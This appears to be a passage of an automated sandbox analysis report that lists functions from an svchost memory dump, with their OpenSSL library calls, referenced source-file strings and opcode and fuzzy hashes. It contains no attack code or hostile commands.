Function 00007FFBAB47AFE0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB47B016

Strings

ssl\statem\extensions.c, xrefs: 00007FFBAB47B002

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free
String ID: ssl\statem\extensions.c
API String ID: 2581946324-3728926295
Opcode ID: 324a5f64d52da2c0b12b9a938cf8d8a58a21c8a3752ad9fbbb0e33a6079b6bfe
Instruction ID: f2671e41f1a6f45fe5256f671a86aef2270a3b540516ea581059e4982bcfd18d
Opcode Fuzzy Hash: 324a5f64d52da2c0b12b9a938cf8d8a58a21c8a3752ad9fbbb0e33a6079b6bfe
Instruction Fuzzy Hash: 5EE046E2A0738182FB529B28D0893A82254EB05B48F585038DE1C4E3A2DF7E81CAC711

Function 00007FFBAB4162C0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 16COMMON

Download Yara Rule

APIs

CRYPTO_clear_free.LIBCRYPTO-3-X64(?,00007FFBAB4178B4,00000000,00007FFBAB414AFF), ref: 00007FFBAB4162ED

Strings

ssl\s3_enc.c, xrefs: 00007FFBAB4162D6

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_clear_free
String ID: ssl\s3_enc.c
API String ID: 2011826501-1240879137
Opcode ID: 59a72ef481f06162f10a4088b1b897ac9434d0cd0cee74076ab6dac90c74b3f1
Instruction ID: 28220a042a30aa795dfe386cd6928212e62495581ffb3155ee44532c00c6855c
Opcode Fuzzy Hash: 59a72ef481f06162f10a4088b1b897ac9434d0cd0cee74076ab6dac90c74b3f1
Instruction Fuzzy Hash: 79E01DA16D6583C5D791D775D8897EC13A4E708F84F144531DD5C87372DE28D1568350

Function 00007FFBAB45AB80 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 15COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAB45B2E0: OSSL_ERR_STATE_free.LIBCRYPTO-3-X64(?,00007FFBAB45AD87,?,00007FFBAB4523E0), ref: 00007FFBAB45B323

CRYPTO_free.LIBCRYPTO-3-X64(?,00007FFBAB455177), ref: 00007FFBAB45ABAB

Strings

ssl\quic\quic_port.c, xrefs: 00007FFBAB45ABA1

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: E_freeO_free
String ID: ssl\quic\quic_port.c
API String ID: 1398637539-1976217255
Opcode ID: fd628b26613340bfcadcd802a080fa4b76abdfcbae82ac35fdd035ae1d5f9c46
Instruction ID: 9f093a5a12a40fd48e1ece9378ac571f6bddd809c039150e66ac499ef715f541
Opcode Fuzzy Hash: fd628b26613340bfcadcd802a080fa4b76abdfcbae82ac35fdd035ae1d5f9c46
Instruction Fuzzy Hash: 2CD0A7D1F4730346FD27A371D846BB802000F08780E449130EE2D463A39D0CD6858742

Function 00007FFBAB4523F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

CRYPTO_free.LIBCRYPTO-3-X64 ref: 00007FFBAB45240D

Strings

ssl\quic\quic_engine.c, xrefs: 00007FFBAB452406

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_free
String ID: ssl\quic\quic_engine.c
API String ID: 2581946324-2291346005
Opcode ID: 7f3c0570978d6f441575d252adf1a72b58b56be861ec3d7da58e6de7f37517db
Instruction ID: d736a07e87bee27a489c41e2a08b4b8069180040c5af69185bebea6cdd9b3749
Opcode Fuzzy Hash: 7f3c0570978d6f441575d252adf1a72b58b56be861ec3d7da58e6de7f37517db
Instruction Fuzzy Hash: 5EC012D5F6702396FA56B334C4861B86150AF40300F84C531DA2C026A1DD1CA9194B00

Function 00007FFBAB434260 Relevance: 3.1, APIs: 2, Instructions: 68COMMON

Download Yara Rule

APIs

CRYPTO_THREAD_write_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB4342A1
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB4342F7

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_unlockD_write_lock
String ID:
API String ID: 1724170673-0
Opcode ID: dbd0b33c5df70f02e49e69ab67183b5b1874972946bebd73e3348968b97af6d7
Instruction ID: 113e3c682d48b6bc30b9689a729851402ac6029fcac380b6794d41bc416dc846
Opcode Fuzzy Hash: dbd0b33c5df70f02e49e69ab67183b5b1874972946bebd73e3348968b97af6d7
Instruction Fuzzy Hash: FF217466B16B8182EA99CB66E5801AD6354FB84FE0F085331EF7D477E5DF28E4A14700

Function 649461C0 Relevance: 3.1, APIs: 2, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2845005161.0000000064941000.00000020.00000001.01000000.0000000E.sdmp, Offset: 64940000, based on PE: true

Associated: 0000001A.00000002.2844972741.0000000064940000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845071231.000000006494A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845106580.000000006494E000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845149388.0000000064950000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 0000001A.00000002.2845182355.0000000064953000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_64940000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ddabd8780b840001ca8dd5c15dc82cddecc56236827651e302e8ea3c28ce6c7
Instruction ID: 2047f6bf86ba71e83255fc360aae97fa77229f552fd7cf068d8c29cdd7335b30
Opcode Fuzzy Hash: 5ddabd8780b840001ca8dd5c15dc82cddecc56236827651e302e8ea3c28ce6c7
Instruction Fuzzy Hash: FE11D6B138538486FB198F69D840B5A27A9FB89BE8F045335EE1C47B85DB3CD841C750

Function 00007FFBAB434160 Relevance: 3.1, APIs: 2, Instructions: 62COMMON

Download Yara Rule

APIs

CRYPTO_THREAD_write_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB4341AF
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB434201

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_unlockD_write_lock
String ID:
API String ID: 1724170673-0
Opcode ID: 3e2fc8946b76cb5eaf65be944e05885da1a3aa126775283d273222caf7c7f219
Instruction ID: fb252be323507e12e38e8eff88d886579ac29228cc39afafff046461ec5d3688
Opcode Fuzzy Hash: 3e2fc8946b76cb5eaf65be944e05885da1a3aa126775283d273222caf7c7f219
Instruction Fuzzy Hash: EF21A462B16B8182DE59CB65E5841BC6364FB44BF4F089331EE7D437E4DF28E4A14700

Function 00007FFBAB434380 Relevance: 3.1, APIs: 2, Instructions: 58COMMON

Download Yara Rule

APIs

CRYPTO_THREAD_write_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB4343C4
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB4343FD

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_unlockD_write_lock
String ID:
API String ID: 1724170673-0
Opcode ID: 979abf4c36315698262437b1d788520d1c39c78566ec60faab6647c1b7c5aa6c
Instruction ID: 86191eb9db6328471be626e535feb91319a4d1242424174b25711b49964e25c0
Opcode Fuzzy Hash: 979abf4c36315698262437b1d788520d1c39c78566ec60faab6647c1b7c5aa6c
Instruction Fuzzy Hash: 1B11B762B1668182EAD9C776E5913AC5254FF84BA0F5C9231EE3D4B3E5EE2CE4A14700

Function 00007FFBAB42ABF0 Relevance: 3.0, APIs: 2, Instructions: 39COMMON

Download Yara Rule

APIs

CRYPTO_THREAD_write_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB42AC30
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB42AC44

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_unlockD_write_lock
String ID:
API String ID: 1724170673-0
Opcode ID: 9e4c8861634b07395019d21bd421997d3ee797798958cb0ceabcd2a845e9ab01
Instruction ID: 0eab8a635cf357bc9a8d70368b98ee70c20d6972dadc5a3135e54371e148a52f
Opcode Fuzzy Hash: 9e4c8861634b07395019d21bd421997d3ee797798958cb0ceabcd2a845e9ab01
Instruction Fuzzy Hash: F101ACA1B1A68182EB61C736E58013D73A0EF44FD4F188131FE6D977BDDE19D8918700

Function 00007FFBAB434490 Relevance: 3.0, APIs: 2, Instructions: 37COMMON

Download Yara Rule

APIs

CRYPTO_THREAD_read_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB4344AD
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB4344F1

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_read_lockD_unlock
String ID:
API String ID: 102331797-0
Opcode ID: ee977cf21fc2f06eeed3c504d5e502464a44a7d1926803bfeeb1d38bdead9eee
Instruction ID: 496071588b321ab9382cbba475d25f0b61d9206a93ff70dd46e3c62afea162da
Opcode Fuzzy Hash: ee977cf21fc2f06eeed3c504d5e502464a44a7d1926803bfeeb1d38bdead9eee
Instruction Fuzzy Hash: 4D01A963B1915181FFE28F75D2902FD23A4EF58B84F1C8031DF1C8729AEE28D9918700

Function 00007FFBAB425070 Relevance: 3.0, APIs: 2, Instructions: 23COMMON

Download Yara Rule

APIs

CRYPTO_THREAD_write_lock.LIBCRYPTO-3-X64 ref: 00007FFBAB425090
CRYPTO_THREAD_unlock.LIBCRYPTO-3-X64 ref: 00007FFBAB4250B2

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_unlockD_write_lock
String ID:
API String ID: 1724170673-0
Opcode ID: ae2795d83f2dd0469105e5662993c064e7fadfbe39b4a13fca9410659630e3ba
Instruction ID: 68445bdf6667c8b6774100dc4ce03276b5c3876ce6e9d6fe5aed476801f4eace
Opcode Fuzzy Hash: ae2795d83f2dd0469105e5662993c064e7fadfbe39b4a13fca9410659630e3ba
Instruction Fuzzy Hash: E9E09B62B1A581C2EB55DB75F5812BC6264EB88FD4F085030FF1C8779AEE18C8914700

Function 00007FFBAB41E880 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

CRYPTO_THREAD_run_once.LIBCRYPTO-3-X64 ref: 00007FFBAB41E89B

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: D_run_once
String ID:
API String ID: 1403826838-0
Opcode ID: e552e1595eddf55d9bda5fef5e8713f0ba23a84a1552e7b2f3fd66b83ff83818
Instruction ID: 142a435684dac9697e4c3181d238f0cf1c3ef7a3b5e5a503f1508482828a2d1b
Opcode Fuzzy Hash: e552e1595eddf55d9bda5fef5e8713f0ba23a84a1552e7b2f3fd66b83ff83818
Instruction Fuzzy Hash: 50D0C994E5B40781FA52A738D8921A82361EF40344F80D532D96C072B2DD1CE1198781

Function 00007FFBAB42AAD0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e3fde73c0907c6d1bdd10f0d0a2eb25f473c61afb0bfbc14c72bb83f05379019
Instruction ID: f65419ce3e23e2542f7436af4d2a7466f87e603dd674eb17c269a40f2941efa7
Opcode Fuzzy Hash: e3fde73c0907c6d1bdd10f0d0a2eb25f473c61afb0bfbc14c72bb83f05379019
Instruction Fuzzy Hash: 09C092CAEEF503C7F222A7B9D49627C01909F51714F10CA32E92D002A2AC1CA29A4B42

Function 00007FFBAB4281E0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e71367a5cdd664070f3cd5486dcb2730325718983b9183ad3455429ea35ca620
Instruction ID: 7620970db6bba09e11f78559f59b258b9209c62698198d4e7cb5ac9b34880f77
Opcode Fuzzy Hash: e71367a5cdd664070f3cd5486dcb2730325718983b9183ad3455429ea35ca620
Instruction Fuzzy Hash: 81C09BC9EDF503C7F1515375D44517C01904F51714F10C531D81D006619C1C51964742

Function 00007FFBAB4240E0 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a197af333fcfd2229e3cef50f634a98438f172a8e9ad05132fe7d6d96f6b45c2
Instruction ID: dce908bc9b15f516f71112d12372e7eb4421449154787a7b5ab0a26eebb43eb5
Opcode Fuzzy Hash: a197af333fcfd2229e3cef50f634a98438f172a8e9ad05132fe7d6d96f6b45c2
Instruction Fuzzy Hash: F2C092CAEDF503CBF662A3B9D8863BC00908F51B14F10C931E92D00AA2AC1CA19A5782

Function 00007FFBAB434120 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d6b5f847bdeb63c4fb04eeaefe5509c55cb80585699e1839566bed01d041387
Instruction ID: 32b208fa4f914f283a64fd471837c01ecef0c4d6b99717414e4699236fce6b1f
Opcode Fuzzy Hash: 1d6b5f847bdeb63c4fb04eeaefe5509c55cb80585699e1839566bed01d041387
Instruction Fuzzy Hash: 88C092C2EEF603C7F662A7B9C4A637C00949F51710F11CA31EA2D002A1AC1CA29A4B42

Function 00007FFBAB425050 Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 151583cd7ca4763808fd4a687b4efb3f67c8eca2445639832855fc5b7ea35d72
Instruction ID: cdc4832efe8241067897a67cae4c5a5605cb7074377b3b712bb741acb5a7731c
Opcode Fuzzy Hash: 151583cd7ca4763808fd4a687b4efb3f67c8eca2445639832855fc5b7ea35d72
Instruction Fuzzy Hash: 59C092C6EEF503C7F622A7B9D49637C00909F51B14F10CA31EA2D006A2AC1CA19A5742

Function 00007FFBAB466310 Relevance: 72.0, APIs: 24, Strings: 17, Instructions: 200COMMON

Download Yara Rule

APIs

BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466389
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466398
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB4663D6
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46643B
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB46644A
BIO_puts.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466660
BIO_printf.LIBCRYPTO-3-X64(?,00007FFBAB43EA28), ref: 00007FFBAB466673

Strings

Sent, xrefs: 00007FFBAB466372, 00007FFBAB466424, 00007FFBAB466649
Packet, xrefs: 00007FFBAB466440
Datagram Length: %zu, xrefs: 00007FFBAB466669
Received, xrefs: 00007FFBAB46637B, 00007FFBAB46642D, 00007FFBAB466652
Frame: , xrefs: 00007FFBAB46638E
Token: , xrefs: 00007FFBAB466599
<zero length id>, xrefs: 00007FFBAB4664EC, 00007FFBAB466544
<error processing frame data>, xrefs: 00007FFBAB4663CC
Packet Number: 0x, xrefs: 00007FFBAB4665EF
%02x, xrefs: 00007FFBAB466616
Version: 0x%08lx, xrefs: 00007FFBAB4664C5
Packet Type: %s, xrefs: 00007FFBAB4664AC
Payload length: %zu, xrefs: 00007FFBAB466582
Unknown, xrefs: 00007FFBAB4664A5
Source Conn Id: , xrefs: 00007FFBAB46652C
<zero length token>, xrefs: 00007FFBAB4665B4
Destination Conn Id: , xrefs: 00007FFBAB4664D4

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: O_puts$O_printf
String ID: <error processing frame data>$ Destination Conn Id: $ Packet Number: 0x$ Packet Type: %s$ Payload length: %zu$ Source Conn Id: $ Token: $ Version: 0x%08lx$ Datagram Length: %zu$ Frame: $ Packet$%02x$<zero length id>$<zero length token>$Received$Sent$Unknown
API String ID: 4098839300-2049903181
Opcode ID: 2fc939dcd989498532fdebe9518abc612a3e2f9722cf438c2e1e875e5c824fe1
Instruction ID: dd9da589d0f904933e108467bcad823ec13f3f220b3f4febc4fdc7b99a6f1aff
Opcode Fuzzy Hash: 2fc939dcd989498532fdebe9518abc612a3e2f9722cf438c2e1e875e5c824fe1
Instruction Fuzzy Hash: BF916BE1E4AA5294FE26DB75E9900FC27A1AF45784F449136DE2E076B9DE3CE509C300

Function 00007FFBAB474290 Relevance: 52.7, APIs: 28, Strings: 2, Instructions: 154COMMON

Download Yara Rule

APIs

ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB4742C4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB4742DC
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB4742ED
EVP_CIPHER_CTX_new.LIBCRYPTO-3-X64 ref: 00007FFBAB47430D
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFBAB474321
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFBAB474337
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFBAB474347

Strings

ssl3_set_crypto_state, xrefs: 00007FFBAB4742C9, 00007FFBAB474326, 00007FFBAB47436A, 00007FFBAB4743B9, 00007FFBAB47440F, 00007FFBAB474471, 00007FFBAB4744E3
ssl\record\methods\ssl3_meth.c, xrefs: 00007FFBAB4742D5, 00007FFBAB474330, 00007FFBAB474376, 00007FFBAB4743C5, 00007FFBAB47441B, 00007FFBAB47447D, 00007FFBAB4744EF

Memory Dump Source

Source File: 0000001A.00000002.2848364720.00007FFBAB411000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFBAB410000, based on PE: true

Associated: 0000001A.00000002.2848344421.00007FFBAB410000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848455209.00007FFBAB4A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848516112.00007FFBAB4CD000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000001A.00000002.2848538462.00007FFBAB4D1000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_26_2_7ffbab410000_svchost.jbxd

Similarity

API ID: R_newR_set_debugR_set_error$X_new
String ID: ssl3_set_crypto_state$ssl\record\methods\ssl3_meth.c
API String ID: 3158630193-2049820303
